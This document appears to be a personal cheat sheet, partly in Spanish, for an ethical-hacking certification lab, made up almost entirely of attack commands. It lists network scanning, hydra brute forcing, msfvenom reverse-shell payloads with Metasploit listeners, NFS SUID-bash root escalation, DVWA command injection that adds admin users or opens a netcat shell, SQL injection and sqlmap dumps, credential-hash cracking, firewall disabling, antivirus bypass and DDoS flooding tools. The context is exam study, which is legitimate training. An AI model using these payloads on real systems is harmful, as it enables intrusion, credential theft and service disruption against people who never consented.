Route –n
Host file sudo nano /etc/hosts
TTL (64 Linux and 128 Windows)
crackstation

Pagina linux gtfobins.github.io

**Footprinting**
Google Dock
intitle:login site:eccouncil.org
More examples in:
ExploitDB

**wordlist**
/usr/share/seclists/Discovery/web-content/directory-list-2.3-medium.txt
gzip –d /usr/share/wordlist/roc
python3 -m http.server

**DVWA**
127.0.0.1 && net user]
|| hostname
|| whoami
|| dir C:\wma
|| type C:\file.txt
127.0.0.1 && type C:\wam
crc

**dirb**
dirb http://target

**Go buster**
Forzar subdominios
Gobuster vhost –u ssh –w /usr/share/seclist/Discovery/DNS/subdomains-top1million-20000.txt5 –k –append-domain

gobuster dns -d mysite.com -t 50 -w common-names.tx
gobuster dir -u https://mysite.com/path/to/folder -c 'session=407' -t 50 -w –common-files.txt -x .php,.html
gobuster fuzz -u https://example.com?FUZZ=test -w parameter-names.txt

**Tcpdump**
sudo tcpdump ip proto \\icmp -i ens5 -C 1 -ea

**Dom subdominios certificadoss**
- https://crt.sh busqueda de dominios
- https://ui.ctsearch.entrust.com/ui/ctsearchui busqueda de certificados vencidos

- https://search.censys.io/  busqueda de dominios y certificados

**Enumeración**
Nmap –sn –T4 172.16.3.2/24 host vivos
nmap -A -T4 -sV Ip /24
Nmap –T4 172.16.4.3/24  ( encontrar algún puerto en especifico abierto en la red)
Nmap –p 53 –T4 10.10.10.0/24  enonctrar la ip de DM
Nmap  -T4 –A 10.10.10.25  ident netbios
Nmap  -T4 –A –sV 10.10.10/25  version
Nmap –T4 –p3389 10.0.2x3.48/24
Nmap –T4 –sV 192.24.244.2/24 servicios versiones en la redssh
nmap -T4 -A -p 389,636,3268,3269 192.168.x.1/2x
nmap -p 389 --script ldap-rootdse <target_IP>
nmap -T4 -A 192.168.x.2/2x
nmap -T4 -A -p 80,443 192.20.70.x/2x
nmap -T4 -A -p 139,445 192.68.x.3/2x3
nmap -p 139,445 -sV 192.168.x.x/2x

**zenmap**
nmap –T4 –p 3389 IP /29
**Dnsenum**
dnsenum  www.certifierd.com
dnsenum --dnsserver IP --enum -p 0 -s 0 -o subdomains.txt -f /opt/useful/SecLists/Discovery/DNS/subdomains-top1million-110000.txt domain.com

**Ffuf**
Find subdirectories: ffuf -w pathWordlist:FUZZ -u https://target/FUZZ

Parameter fuzzing:
ffuf -w -u -fc 401 POST parameter fuzzing: ffuf -w /path/to/postdata.txt -X POST -d "username=admin\&password=FUZZ" -u https://target/login.php -fc 401

subdomains:
 ffuf -w -u -H “Host: FUZZ.website.com”

extensions:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/web-extensions.txt:FUZZ -u http://SERVER_IP:PORT/blogmelon/indexFUZZ

files with extension php:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/directory-list-2.3 small.txt:FUZZ -u http://SERVER_IP:PORT/FUZZ.php

Find parameters:
 ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://SERVER_IP:PORT/index.php?FUZZ=value'

LFI with that parameter found:
ffuf -w /opt/useful/SecLists/Fuzzing/LFI/LFI-Jhaddix.txt:FUZZ -u 'http://165.22.118.93:30678/index.php?view=FUZZ' -fs 1935

Filter by size or by code to see the different ones:
ffuf -w /opt/useful/SecLists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u 'http://SERVER_IP:PORT/index.php?FUZZ=value' -fs 2287 * Parameter ‘fc’ status code and ‘fs’ response size.

**Zona transfer**
Identifying nombressercvers
nslookup -type=NS zonetransfer.me
probar zona transf
dig axfr @IP domain.com

**Escaneo**
netdiscover -i eth0 — This will help me to get the machines available on our network
Arp-scan -I ens33 --localnet

Nmap
Nmap –sN 10.10.0.0/24
Nmap –p- -T5 –sT --open 192.168.111.32–v –n
Nmap –p22 192.168.111.1 –- mtu 8 firew
Nmap –p 3389 172.2x.x.16 – 21 –sV –v
Nmap –- script vuln ip
Nmap –sC -sV –oN escaneo_inicial.txt <ip> / escaneo inicial
Nmap –sC –sV –p80,79 (puertos abiertos) –oN escaneodetallado.txt (ip) / escaneo sobre puerto
Nmap -A –T4 –oN escaneo_Int.txt 192.168.1.0/24 / escaneo intense
Nmap –A –T4 –p- --script vuln –oN intensej_scahn.txt –v 192.168.87.54/24 / @intenso scan complete
Nmap –A –T4 –p- --script vuln –oN wide_networkscan.txt –v 192.168.1.0/16 / escanearia de 192.168.0.0 a 192.168.255.255
Nmap –A –T4 –p- --script vuln –oN multired_scan.txt –v 192.168.1.0/24 10.0.0.0/24 / intenso scan complete
Nmap –A 10.10.55.9
Nmap –T5 –sS –sV –O (Ip) ss sigiloso, sv version
sudo nmap –sS -T4 -A 10.10.100.144 – 1x.x.2x348
nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmapOutput 10.10.10.10
nmap –p 3389

Nmap –T5 –sS –sV –O (Ip) ss sigiloso, sv version
sudo nmap –sS -T4 -A 10.10.100.144
nmap -p443,80,53,135,8080,8888 -A -O -sV -sC -T4 -oN nmap Output 10.10.10.10

**Uniscan ETag**

uniscan -u movies.google.com
Curl -I 192.168...
wpscan --url http:// .....com/wp-login.php -U ./username.txt -P ./password.txt

**Telnet**
telnet Ip 22
nmap –sS –sV –p- -O IP
Nmap banner servicios
Nmap –sV –script=banner 192.168.1.20.22
.HELP
.RUN ping

**Conexion ssh**
Ssh admin@192.168.1.22 / simple
Ssh –p 2222 admin@192.168.1.10 / Puerto
Ssh –i /ruta/a/tu/clavepriva admin@192.168.1.10 / con clave privada
Ssh –i id_rsa usuario@IP

ssh -i key.pem admin@10.10.170.80
ssh -i key.pem john@10.10.170.80

**FTP21**
hydra -l mike -P /usr/share/wordlists/rockyou.txt –v 10.10.223.20 ftp"
ftp 10.10.223.330
Nmap -p 21 <subnet IP>
Sudo nmap -sS -A -T4 ip/24
hydra -L user.txt -P pass.txt ftp://<IP>
ftp <IP> and type user name and password login
Ls and search for the <file name.txt> file using find . -name <file name.txt>
cat <file name> to get its content

**SMB**
Nmap –p 445 Ip 192.168.1.11/24
sudonmap--script smb-os-discovery.nse10.10.50.26
enum4linux -a 10.10.50.26
Smbclient-L (to list all shares)
Smbclient//10.10.50.26/share (access it)

hydra -l jam -P /usr/share/wordlist/rockyou.txt -v 10.10.223.20 ftp

SMB22

sudo nmap --script smb-os-discovery.nse IP
sudo nmap -p445 --script smb-os-discovery.nse 192.168.18.110
cd /usr/share/nmap/scripts; ls| grep smbpython3 dirsearch.py -u
http://www.moviescope.com -x 403
enum4linux [options] ip -U
get userlist -M -N -S -P -G -a
get machine list
Host:192.168.1.20\

SMB22
enum4linux [options] ip
-U get userlist
-M get machine list
-N get namelist dump (different from -U and-M)
-S get sharelist
-P get password policy information
-G get group and member list
-a all of the above (full basic enumeration)

Smbclient //Ip/(share)
Ls
More
Get
Chmore 600

msf > use auxiliary/scanner/smb/smb_version

smbTk2
nmap -T4 -A -p 139,445 192.168.x.x/2x
nmap -p 139,445 -sV 192.168.x.x/2x

Brute force SMB with hydra
hydra -l USER_NAME -P password_file TARGET_IP smb
Once SMB credentials are obtained, you can use tools like smbclient
to connect to the SMB share and retrieve files.
smbclient //target_ip/ -U USER_NAME
get file.txt
smbmap -u USER_NAME -p 'PASSWORD' -H TARGET_IP --download 'C$\file.txt'
Decrypt Encoded File:
Use bctextencoder or any other tool to decrypt the file using the users password o
snow.exe -C -p “password” file.txt

Ldapsearch
Ldapsearch –x –h 10.10.10.25 –b “DC=CEHSORDORG, DC=com” “objectclass=user”

netcad
nc –lvnp 444
nc –lvp 444

**Banner Grabbing**
Netcat
Nc (IP) Puerto / nc 19x.55.x.4x 80 example
GET /HTTP/1.1
Host:192.168.1.20\

**Wireshark Die**
Wireshark captura.cap
http://testphp.vulnweb.com/
filtros
http.request.method==POST .... credenciales
ftp ..... ftp
tcp.flags.syn==1 and tcp.flags.ack==0 .... DoS
tcp.flags.syn==1 and tcp.flags.ack==0 ..... DDOS
tcp.flags.syn ==1
mqtt

Wireshark captura.cap

**Attacking IP**
Go to statistics IPv4 addresses--> Source and Destination ---> Then you can apply the filter given
flags.syn == 1 and tcp.flags.ack == 0
**IoT Publish Message**
Open IOT capture file in wireshark. Filter; MQTT and find length of the packet in the lower pane.
**IPv4 packet.**
Open wireshark and load the file. Go to statistics IPv4 statistics--> Source and Destination ---> Then you can apply the filter given. flags.syn == 1 and tcp.flags.ack == 0. you can find the least number of packets send to the IP address.
or
Load the file in wireshark. Type the filter in the filter bar ip.dst == IP and press enter. Go to statistics and then in conversion and then IPv4 tab. Click on the packets colum to sort conversations by packet count. Look through the list to find the conversation with least packet sent to the IP.

**IoT Publish Message.**
Open IOT capture file in wireshark.
Filter; MQTT (mqtt.msgtype == 3) and find length of the packet in the lower pane.
Open in wireshark and apply the filter as mqtt and see the public message and then go to down panel open and see the message length.

**Vulnerabilidades**
Exploit-db
Vuldb.com
Cve.mitre.org
Vulners.com
Cve.circl.Iu

Gvm-start
Open web
127.0.0.1:9392

**CVE & CVS**
nmap -Pn - -script vuln <IP>
https://www.cvedetails.com/cve/CVE-2006-3392/
CVE number of the vulnerability

**Hydra**
hydra -l USER_NAME -P password_file TARGET_IP smb
smbclient //target_ip/ -U USER_NAME
get file.txt
smbmap -u USER_NAME -p 'PASSWORD' -H TARGET_IP --download 'C$\file.txt'
Decrypt Encoded File
bctextencoder
snow.exe -C -p "pass" file.txt

**SNOW**
SNOW.EXE -C -m "Hassan is my name" -p "magic" test.txt test2.txt

- misthemessageyouwanttohide \
- pisthepassword
- test.txtistheoriginalfile
- test2.txtisthetargetfile

SNOW.EXE -C -p "magic" test2.txt

**john**
RSA private
ssh2john key.txt > hash.txt
john hash.txt -w=/usr/share/wordlists/john/lst
john hash.txt --show
john hash.txt -w/usr/share/wordlists/rockyou.txt
john --format=raw-MD5 --wordlist=wordlist.txt Key2Secret.txt
Replace wordlist.txt with the actual path to your wordlist file.

escalar privilegios
sudo -l
cat /etc/passwd
seleccionar  y copiar
nano passwd
pegar
ctrl s
ctrlx

sudo cat /etc/shadow
Seleccionar y copiar
nano shadow
pegar
ctrl s ctl x
unshadow passwd shadow > pwd.txt
john pwd.txt -w=/usr/share/wordlists/jhon.lst

Su root
cd /root
ls
cat root.txt

55
9 and
11 rdp smb theft
20ssh escala
50 drupal

44
22 22 – 80
32 me
38 apli windo
40 ap

200
224dc
/home/linuxad/mus/net

**netbios**
cmd
nbtstat –a 10.10.1.11
nbtstat –
nbstat –c
net use
nmap -sU -p 137 --script nbstat.nse 192.168 ....

**snmp walk**
snmpwalk –v1 –c public IP
snmpwalk –v2 –c public IP

**Billcypher coordenadas**
Python3 billcipher.py

**Dig**
Dig www.certifiedhacker.com axfr zona transfer

**Metasploit**
msfvenom -p windows/meterpreter/reverse_tcp -a x86 -f exe (optional -e x86/shikata_ga_nai -b "\x00") LHOST=IP LPORT=PORT -o RUTA
use multi/handler , set payload windows/meterpreter/reverse_tcp

msfvenom
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.60.2 LPORT=444

Msfvenom –p Windows/meterpreter/reverse_tcp - - platformwindows –a x86 –f exe LHOST = ip nostra LPORT=444 –o /home/attacker/Desktop/Test.exe

Crear directorio para compartir el document0 al navegador
Mkdir /var/www/html/share
Chmod –R 755 /var/www/html/share
Chown –R www-data:www-data /var/html/share
Cp /home/attacker/Desktop/Test.exe /var/www/html/share
service apache2 start
msfconsole
use  exploit/mulit/handler
set payload
windows/meterpreter/reverse_tcp
set LHOST 10.10.1.13
set LPORT 444
exploit
Abrir el navegador en la Windows 11 10.10.1.13/share
Ejecutar test.exe
Una vez dentro
En parrot
Sysinfo
Sessions –i 1
upload /root/PowerSploit/Privesc/PowerUp.ps1 PowerUp.ps1  detectar escalar privilegios
Shell
Powershell –ExecutionPolicy Bypass –Command " . . \PowerUp.ps1;Invoke-Allchecks"
Exit
Run vnc

**Escalar Privilegios**
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.1.13 -f exe > /home/attacker/Desktop/Exploit.exe

Generar la carpeta para compartir

Mkdir /var/www/html/share
Chmod –R 755 /var/www/html/share
Chown –R www-data:www-data /var/www/html/share

Cp /home/attacker/Desktop/Exploit.exe /var/www/html/share
Service apache2 start

Msfconsole
Use exploit/multi/handler
Set Payload windows/meterpreter/reverse_tcp
Set LHOST 10.10.1.13
Exploit –j –z

Windows 11, explorador ejecutar el archive
Regresar y tenemos sesión de meterpreter
sessions –i 1
getuid

escalar privilegios con Be root
subir el archivo Beroot.exe

upload /home/attacker/Desktop/beRoot.exe
shell
beRoot.exe

**Escalacion privilegios NFS2049**
Sudo apt-get update
Sudo apt install nfs-kernel-server
Nano /etc/exports
Nmap –sV –script=nfs-showmount 192.168.1.120

nfsApt-get install nfs-common
Showmount –e 192.168.1.2

Verificar nuestro privilegios
Run post/windows/gather/smart_hashdump ( de no ser exitoso seguir)
getsystem –t 1
Background
use exploit/windows/local/bypassuac_fodhelper
show options
set SESSION 1
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.1.13
set LPORT 4444
set TARGET 0
exploit
getuidd
getsystem –t 1
hashdump
run post/windows/gather/smart_hashdump
hashes ntlm

**Ninja Jonin control remoto atrás de cualquier nat firewall y proxy**
La versión 1.1 es a la escucha
Y la versión 2 se modifica el archivo config con la ip
Se pasa por red a la otra maquina
Se abre primero el 1.1 quien escucha se da un click
Y depues abre al que se escuchara 2.1
Una vez dentro en el 2
List
Connect 1
Change
Cmd
Ifconfig

Msfvenom directorio en red
Msfvenom –p android/meterpreter/reverse_tcp LHOST=1010101 R >
/var/www/html/share/ test.exe

**Escalacion nfsOK**
Sudo nmap –sV –script=nfs-showmount 10.10.1.9
Sudo apt update
Sudo apt install nfs-kernel-server
Sudo nano /etc/exports
/home
*(rw,no_root_squash)
Guarder salir
Sudo /etc/init.d/nfs-kernel-server restart
Parrot nmap –sV 10.10.1.9
Detector 2049 nfs abierto
Sudo apt-get install nfs-common
Showmount –e 10.10.1.9
Mkdir /tmp/nfs
Sudo mount –t nfs 10.10.1.9:/home  /tmp/nfs
Cd /tmp/nfs/
Sudo cp  /bin/bash .
Sudo Chmod +s bash
Ls –la
Sudo df –h

Otra term
Ssh ubuntu@10.10.1.19
Whoami
Cd /home
Ls –la
./bash –p
Id
Whoami
find . -name <file name.txt -> This will give the path to the file
Nano /etc/shadow

Cat archivo.txt

### Perform vertical privilege escalation of a root user, and enter the flag
Exploiting misconfigured NFS (port 2049)

* `nmap -sV —p 2049 IP/Subnet`
* `sudo apt-get install nfs-common`
* `nmap -sV —script=nfs-showmount <Target_IP>`
* check available mounts: `showmount -e <Target_IP>` -> we will see /home directory
* `mkdir /tmp/nfs`
* `sudo mount -t nfs 10.10.1.9:/home /tmp/nfs`
* `cd /tmp/nfs`
* `sudo cp /bin/bash .`
* `sudo chmod +s bash` -> it will be highlighted in red
* `ls -la`
* `sudo df -h`
* `sudo chmod +s bash`

after them, In another terminal:

* Access to target using SSH
ssh smith@192.168.0.x
* `./bash -p` and we're root!
* `cd /home`
* `ls -la`
* Find the flag: `find / -name "*.txt" -ls 2> /dev/null`

---

**DDOS**
Primero mapear el Puerto con nmap –p puerto IP, si esta abierto continuar
Metasploit DDOS Synfloat FTP
Msfconsole
use auxiliar/dos/tcp/synflood

- Establezca RHOST (dirección IP de destino) (aquí, 10.10.1.11 )
- Establecer RPORT 21
- Establezca SHOST (dirección IP falsificable) (aquí, 10.10.1.19 )

**Hping3**
hping3 -S (Dirección IP de destino) -a (Dirección IP falsificable) -p 22 –flood

A PoD
hping3 -d 65538 -S -p 21 --flood (Dirección IP de destino)
-d : especifica el tamaño de los datos; -S : establece el indicador SYN; -p : especifica el puerto de destino; y --flood : envía una gran cantidad de paquetes.

A inundación en capa de aplicación UDP
hping3 -2 -p 139 --flood (Dirección IP de destino)
-2 : especifica el modo UDP; -p : especifica el puerto de destino; y --flood : cantidad de paquetes.

- CharGEN (Puerto 19)
- SNMPv2 (Puerto 161)
- QOTD (Puerto 17)
- RPC (Puerto 135)
- SSDP (Puerto 1900)
- CLDAP (Puerto 389)
- TFTP (Puerto 69)
- NetBIOS (Puerto 137,138,139)
- NTP (Puerto 123)

-.

- VoIP (Puerto 5060)

**Raven-storm DDOS**
Sudo rst
L4
Ip 10.10.1.19
Port 80
Threads 20000
Run
Y

**HOIC –DDOS HOIC (High Orbit Ion Cannon)**
Abrir HOIC windows
Poner la ip en la ur cosiderando http://10.10.1.13
Subir la barra a potencia alta
En booster Genericboost.hoic y agregar
Cargar en todos las maquinas con las que se atacara
Y dar en el botón fire teh lazer!

LOIC - DDOS (Low Orbit Ion Cannon) principalmente dirigido a aplicaciones web\
Abrir Loic Windows
Poner la ip o la url
Click en lock on
Seleccionar udp
5- 10 en el subproceso
Barra energía a la mitad
Y dar en IMMA Chargin

**Users**
Responder
Sudo responder –I eth0
Toor
Registros almancenados /usr/share/responder/logs
Cop hash

John hash.txt
comp. tar cvf archivo.tar /archivo/carpeta/*
desc tar xvf archivo
L0phtCrack
Wizard
Remote host smb
Host Ip
Specifi credentials
Dominio
Throught pass audit
Run

**Ve FQDN**
nmap -p 389 -sV -iL OR nmap -p 389 -sV {FQDN = Host + Domain}
type ldapsearch -h [Target IP Address] -x -s base namingcontexts
-x: specifies simple authentication, -h: specifies the host and -s: specifies the scope.
After getting the domain name e.g. CEH.com
Type \ ldapsearch -x -h -b "DC=CEH,DC=com" and press enter
Buscar versión
nmap -T4 -A -p 389,636,3268,3269 192.168.x.x/2x
nmap -p 389 --script ldap-rootdse <target_IP>
ws
nmap -T4 -A -p 80,443 192.168.x.x/2x

**Elf**
Vulnerabilidades
RDP
Sudo nmap -sV ip/24
Sudo nmap –p 3389 ip/24
Hydra-l user –P path password.txt Ip rdp
Remmima – Rdesktop
Rdesktop – u

nmap -T4 -A 192.168.x.6/2.x
nmap -T4 -A -p 80,443 192.168.x.x/2x
hydra -L username_file -P password_file TARGET_IP telnet
hydra -L username_file -P password_file TARGET_IP ssh

**Stego**
Select Extract Data
Upload file and select path of destination
Use any pointer from the question as keyword where applicable

Click to Extract Data

nmap -p 21 192.x.x.8/24
hydra -L username_file -P password_file 192.168.0.x ftp
ftp 192.168.0.x
Retrieve file:
get file
View Content:
cat file

**Exploiting misconfigured NFS (port 2049)**

* `nmap -sV —p 2049 IP9/Subnet`
* `sudo apt-get install nfs-common`
* `nmap -sV —script=nfs-showmount <Target_IP>`
* check available mounts: `showmount -e <Target_IP>` -> we will see /home directory
* `mkdir /tmp/nfs`
* `sudo mount -t nfs 10.10.1.9:/home /tmp/nfs`
* `cd /tmp/nfs`
* `sudo cp /bin/bash .`
* `sudo chmod +s bash` -> it will be highlighted in red
* `ls -la`
* `sudo df -h`
* `sudo chmod +s bash`

after them, In another terminal:

* Access to target using SSH
ssh smith@192.168.0.x
* `./bash -p` and we're root!
* `cd /home`
* `ls -la`
* Find the flag: `find / -name "*.txt" -ls 2> /dev/null`

**Aircrack**
aircrack-ng -b <bssid from wireshark> -w <path to word list> < pcap file>
aircrack-ng ddesd.pcap

**Crypto**
Hashes.com
veracrypt

10 Malware

**Parameter Tampering and XSS**
Change id parameter in profile to view other profiles.
For XSS, type the script in comments field in contact page. (This is stored XSS and will be shown to every user who views the contact tab)

WPScan and Metasploit – Enumerating and Web App Hacking
Use wpscan --url http://[IP Address of Windows Server 2012]:8080/CEH --enumerate u | enumerate user list
In msfconsole use auxiliary/scanner/http/wordpress_login_enum
Type set PASS_FILE /root/Desktop/Wordlists/Passwords.txt
Type set RHOSTS [IP Address of Windows Server 2012]
Type set RPORT 8080
Type set TARGETURI /CEH/ or complete URL
Type set USERNAME admin and press Enter to set the username as admin.
Type run
Use URL http://[IP Address of Windows Server 2012]:8080/CEH/wp-login.php to login.

**Remote Command Execution - Exploiting Vulnerability in DVWA**
http://10.10.10.12:8080/dvwa | gordonb:abc123
Set Security settings to low
| hostname
| whoami
| tasklist
| dir C:\
| net user
| net user <username> /add | add custom user
| net user <username>
| net localgroup Administrators <username> /add | add user to admin group

**VEGA -Web Application Audit (Kali)**
Open from Web application analysis
Start New Scan
Enter URL http://10.10.10.12:8080/dvwa
Select all modules
Leave rest settings as default and start.
Acunetix WVS (Windows)
Install with password qwerty@1234 and port 13443
Add target. http://www.moviescope.com
Run Full Scan with OWASP 2013 report.

**File Upload Vulnerability – All Levels DVWA**

**Payload Creation**

msfvenom -p php/meterpreter/reverse_tcp lhost=10.10.10.11 lport=4444 -f raw | create a raw php code
Copy the code in a text file and save as .php
Low Level Exploitation
Upload the file | note the path /dvwa/hackable/uploads/<filename>.php
Run listener by starting msfconsole
Type use exploit/multi/handler.
Type set payload php/meterpreter/reverse_tcp.
Type set LHOST 10.10.10.11.
Start listener, type exploit
Browse link of file to start meterpreter session.
Medium Level Exploitation
Rename file as <filename>.php.jpg
While uploading, intercepting with burp and rename back to <filename>.php
Run listener by starting msfconsole
Type use exploit/multi/handler.
Type set payload php/meterpreter/reverse_tcp.
Type set LHOST 10.10.10.11.
Start listener, type exploit
Browse link of file to start meterpreter session.
High Level Exploitation
Open the <filename>.php file and add code GIF98 at start and save file as <filename>.jpg
Upload file
Now go to command execution tab and use command <Some IP>||copy C:\wamp64\www\DVWA\hackable\uploads\<filename>.jpg C:\wamp64\www\DVWA\hackable\uploads\shell.php
Run listener by starting msfconsole
Type use exploit/multi/handler.
Type set payload php/meterpreter/reverse_tcp.
Type set LHOST 10.10.10.11.
Start listener, type exploit
Browse link of file to start meterpreter session.

**SQL INJECTION**

Manual Injection
` or 1=1 -- | for login bypass
`insert into login values ('john','apple123'); -- | create own user in the database
`create database mydatabase; -- | create database with name of mydatabase
`exec master..xp_cmdshell 'ping www.moviescope.com -l 65000 -t'; -- | execute ping on moviescope

**N-Stalker Free X - Web Application Security Scanner**

Open tool, Enter URL http://www.goodshopping.com and select OWASP Policy, Click Start Scan Wizard.
Leave Settings as default and start session.

Start scan. Wait for scan to complete to view results.

**SQLMAP**

Login into website, Get user session cookie via document.cookie is console.
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> --dbs
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> --tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> -T <table name> --columns
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> -D <database name> -T <table name> --dump
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie=<"cookie values"> --os-shell
Sqlmap –U "url" –cookie="valor cookie" –D moviescope –T User_Login –dump
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=;" ––dbs
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moveiscope – -tables
sqlmap -u "http://www.moviescope.com/viewprofile.aspx?id=1" --cookie="mscope=1jwuydl=; ui-tabs-1=0" -D moviescope -T user-Login – -dump

**Phonesploittk2**

python3 -m pip install colorama
python3 phonesploit.py
Scan adb port: nmap -sV -p 5555 192.168.x.x/2x
Connect adb: adb connect TARGET_IP:5555
Access mobile device:
adb shell
pwd
ls
cd
sdcard/scan
ls
cat arhivo.txt
adb pull /sdcard/scan
entropy : ent file.elf
highest entropy
sha384sum file.elf

python3 -m http.server

nmap -sV -p 5555 192.168.x.x/2x
adb connect TARGET_IP:5555
adb shell

pwd
ls
cd
sdcard/scan
ls
cat example.txt
adb pull /sdcard/scan (if it doesn't work we need to elevate privilege using sudo -i)
ent file.elf
file.elf with highest entropy,
sha384sum file.elf
Use hashcalc

remotetk2
nmap -T4 -A 192.168.x.x/2x
nmap -T4 -A -p 80,443 192.168.x.x/2x
Look out for telnet or ssh and bruteforce it
hydra -L username_file -P password_file TARGET_IP telnet
hydra -L username_file -P password_file TARGET_IP ssh

**CLOUD COMPUTING**
Using owncloud
Hosted at ubuntu machine http://10.10.10.9/owncloud. admin:qwerty@123
Create users and share files to users.
Install Desktop client and share and view files
ClamAV Protection of cloud
Cloud is currently protected by ClamAV so no malicious file is uploaded.

**Bypassing ClamAV**
msfvenom -p linux/x86/shell/reverse_tcp LHOST=10.10.10.11 LPORT=4444 --platform linux -f elf > /root/Desktop/exploit.elf | generate a linux based executable
Type use multi/handler
Type set payload linux/x86/shell/reverse_tcp
Type set LHOST 10.10.10.11
Type set LPORT 4444
Type run
Upload payload in shared folder.
Download using admin, Set permission to chmod -R 755 exploit.elf
Execute exploit ./exploit.elf
DOS Attack using Slowloris.pl script
Open Slowloris folder
Run chmod 777  Slowloris.pl
Execute script ./solaris.pl -dns 10.10.10.9
DOS attack successful

**CRYPTOGRAPHY**
HASHCALC

Easy to use GUI based. Supports text and files

**MD5 CALCULATOR**
Easy to use, integrates with explorer right click. Right Click any file and select MD5 Calculator to calculate its MD5 Hash.

**CRYPTOFORGE**
Install and it will appear as an encrypt when right clicking on files.
To Encrypt open cryptoforge text and enter your text here and use a passphrase to encrypt

BCTEXTENCODER
Simple GUI based. Enter text and encode it using password.

CREATING SELF-SIGNED CERTIFICATE
Open inetmgr
Click machine name and select Server Certificates
From actions select Create Self signed Certificate
Choose Name and Personal.
Go to a Site, choose Bindings from the Action pane.
Select Add.
Select Https, IP 10.10.10.16, hostname www.goodshopping.com, select the certificate.
Go the site and right click refresh one time.

**VERACRYPT - DISK ENCRYPTION**
Create Encrypted containers which can be mounted as Virtual Disks.
Creation
Create Volume ☐ Create an Encrypted File Container ☐ Standard VeraCrypt volume ☐ Volume Location (Path to save the container) ☐ Encryption AES Hash SHA-512 ☐ Size of Volume ☐ Enter Password ☐ Generate mouse randomness ☐ Format Exit
Mount Volume
Select Drive Letter ☐ Select File ☐ Mount ☐ Enter Password ☐ Disk shown in Explorer

**CrypTool – Data Encryption**
File ☐ New ☐ Enter Text ☐ Encrypt/Decrypt ☐ Symmetric (Modern) ☐ RC2 ☐ KEY 05 ☐ Encrypt
File ☐ Open ☐ Encrypt/Decrypt ☐ Symmetric (Modern) ☐ RC2 ☐ KEY 05 ☐ Decrypt

**HACKING MOBILE PLATFORMS**
Generating and Executing Payloads for Android
Setup Android
Open terminal, run su
Run ip addr add 10.10.10.69/24 dev eth0
Generate Payload

msfvenom -p android/meterpreter/reverse_tcp --platform android -a dalvik LHOST=10.10.10.11 R > Desktop/Backdoor.apk | R raw
Host the payload and run a listener on Kali
Type use exploit/multi/handler.
Type set payload android/meterpreter/reverse_tcp.
Type set LHOST 10.10.10.11.
Start listener, type exploit -j -z
Browse link of file to start meterpreter session.
Exploit Execute
Open kali hosted link. Download APK using es file downloader. Install and run.

**Extras**

Metasploit – Firewall Bypass
Turn on firewall on victim machine
Payload Setup
msfvenom -p windows/meterpreter/reverse_tcp --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00" LHOST=10.10.10.11 -f exe > Desktop/Exploit.exe | -e encoder, -b list of bad characters to avoid
Type mkdir /var/www/html/share | make directory
Type chmod -R 755 /var/www/html/share | change rights recursively to all files and folders inside
Type chown -R www-data:www-data /var/www/html/share | change owner recursively  owner:group
mv /root/Desktop/Test.exe /var/www/html/share | move to exploit
service apache2 start

Listener Setup
Type use exploit/multi/handler.
Type set payload windows/meterpreter/reverse_tcp.
Type set LHOST 10.10.10.11.
Start listener, type exploit -j -z |exploit -j -z exploit tells Metasploit to start the exploit. The -j flag tells it to run in the context of a job and -z simply means to not interact with the session once it becomes active.
Execute Exploit
Open http://10.10.10.11/share on victim machine. Download Payload and run.
Type sessions -i to view sessions
Type sessions -i 1 to interact with the session created
Type execute -f cmd.exe -c -H | creates a channel to execute the victim command shell
Now Type shell | opens an interactive shell (cmd)
Type netsh firewall show opmode | to shown firewall stats
Type netsh advfirewall set allprofiles state off | to turn off firewall.
Type getsystem
Type ps | processes

Dvwa
&& ls

& ls
; ls
| ls
&& nc -c sh 127.0.0.1 9001

john
RSA private
ssh2john key.txt > hash.txt
john hash.txt -w=/usr/share/wordlists/john/lst
john hash.txt --show
john hash.txt -w/usr/share/wordlists/rockyou.txt

escalar privilegios
sudo -l
cat /etc/passwd
seleccionar  y copiar
nano passwd
pegar
ctrl s
ctrlx
sudo cat /etc/shadow
Seleccionar y copiar
nano shadow
pegar
ctrl s ctl x
unshadow passwd shadow > pwd.txt
john pwd.txt -w=/usr/share/wordlists/jhon.lst

Su root
cd /root
ls
cat root.txt

FQDNTk2
nmap -T4 -A -p 389,636,3268,3269 192.168.x.x/2x
nmap -p 389 --script ldap-rootdse <target_IP>

WMSerTK2
nmap -T4 -A 192.168.x.x/2x
nmap -T4 -A -p 80,443 192.168.x.x/2x

**Clickjacking**
clickjack github
git clone https...
cd clickjack
chmod +X*

python3 clickjack.py www.gooshopong.com

wathweb www.certifiedhacker.com version de nigx

**NMAP**
nmap -p389 -sV 10.10.1.13/24
10.10.1.x
nmap -p 389,445 -sV -iL <Target File>
nmap -p 389,445 -sV <IP> {FQDN = Host + Domain}
type ldapsearch -h [Target IP Address] -x -s base naming contexts and press Enter to gather details related to the naming contexts
x: specifies simple authentication, -h: specifies the host, and -s: specifies the scope.
Type ldapsearch -x -h <IP> -b "DC=CEH,DC=com" and press enter
In the terminal menu search for versión
This will give the operating system versión.

WSer
172.20.0.16
nmap -sV -A -p 80 10.10.1.13/24
Nmap -A -sC -v -p- <IP/24). Get the "xyz" services running and count them. This will give the number.

**Privilege Escalation**
vertical privilege escalation
nmap -sV -p 22 192.168.0.0/24. This will live the live host with port 22 open with the OS and now see open port ip address and note down
Now connect to SSH using -> ssh username@IP and press enter. For password use the given <password>
Sudo -l -> to get the commands that can be run
sudo -i
cd /
